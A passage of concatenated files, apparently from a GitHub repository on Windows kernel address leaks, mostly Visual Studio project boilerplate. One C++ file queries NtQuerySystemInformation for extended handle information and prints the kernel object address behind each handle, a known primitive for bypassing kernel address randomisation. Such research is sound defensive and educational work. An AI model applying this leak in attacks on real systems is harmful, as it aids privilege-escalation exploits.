</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="HMValidateHandle.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HMValidateHandle.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.cpp : source file that includes just the standard includes
// HMValidateHandle.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtQuerySysInfo_SystemHandleInformation", "NtQuerySysInfo_SystemHandleInformation\NtQuerySysInfo_SystemHandleInformation.vcxproj", "{300551F9-A119-44F1-9EF0-BEDC1BD543E0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Debug|x64.ActiveCfg = Debug|x64
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Debug|x64.Build.0 = Debug|x64
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Debug|x86.ActiveCfg = Debug|Win32
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Debug|x86.Build.0 = Debug|Win32
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Release|x64.ActiveCfg = Release|x64
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Release|x64.Build.0 = Release|x64
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Release|x86.ActiveCfg = Release|Win32
{300551F9-A119-44F1-9EF0-BEDC1BD543E0}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
========================================================================
CONSOLE APPLICATION : NtQuerySysInfo_SystemHandleInformation Project Overview
========================================================================
AppWizard has created this NtQuerySysInfo_SystemHandleInformation application for you.
This file contains a summary of what you will find in each of the files that
make up your NtQuerySysInfo_SystemHandleInformation application.
NtQuerySysInfo_SystemHandleInformation.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NtQuerySysInfo_SystemHandleInformation.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NtQuerySysInfo_SystemHandleInformation.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NtQuerySysInfo_SystemHandleInformation.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// NtQuerySysInfo_SystemModuleInformation.cpp : Attempts to use the NtQuerySystemInformation to find the base addresses if loaded modules.
//
#include "stdafx.h"
#include <windows.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
int main()
{
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 1;
}
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return 1;
}
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
PVOID object = pHandleInfo->Handles[i].Object;
HANDLE handle = pHandleInfo->Handles[i].HandleValue;
HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
printf("PID: %d\t", pid);
#ifdef _WIN64
printf("Object 0x%llx\t", object);
#else
printf("Object 0x%X\t", object);
#endif
printf("Handle 0x%x\r\n", handle);
}
return 0;
}
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{300551F9-A119-44F1-9EF0-BEDC1BD543E0}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NtQuerySysInfo_SystemHandleInformation</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="NtQuerySysInfo_SystemHandleInformation.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NtQuerySysInfo_SystemHandleInformation.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.cpp : source file that includes just the standard includes
// NtQuerySysInfo_SystemHandleInformation.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Syscalls", "Syscalls\Syscalls.vcxproj", "{B5B24F57-CDAE-4525-B239-75107E523510}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B5B24F57-CDAE-4525-B239-75107E523510}.Debug|x64.ActiveCfg = Debug|x64
{B5B24F57-CDAE-4525-B239-75107E523510}.Debug|x64.Build.0 = Debug|x64
{B5B24F57-CDAE-4525-B239-75107E523510}.Debug|x86.ActiveCfg = Debug|Win32
{B5B24F57-CDAE-4525-B239-75107E523510}.Debug|x86.Build.0 = Debug|Win32
{B5B24F57-CDAE-4525-B239-75107E523510}.Release|x64.ActiveCfg = Release|x64
{B5B24F57-CDAE-4525-B239-75107E523510}.Release|x64.Build.0 = Release|x64
{B5B24F57-CDAE-4525-B239-75107E523510}.Release|x86.ActiveCfg = Release|Win32
{B5B24F57-CDAE-4525-B239-75107E523510}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
========================================================================
CONSOLE APPLICATION : Syscalls Project Overview
========================================================================
AppWizard has created this Syscalls application for you.
This file contains a summary of what you will find in each of the files that
make up your Syscalls application.
Syscalls.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
Syscalls.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
Syscalls.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named Syscalls.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5B24F57-CDAE-4525-B239-75107E523510}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>Syscalls</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
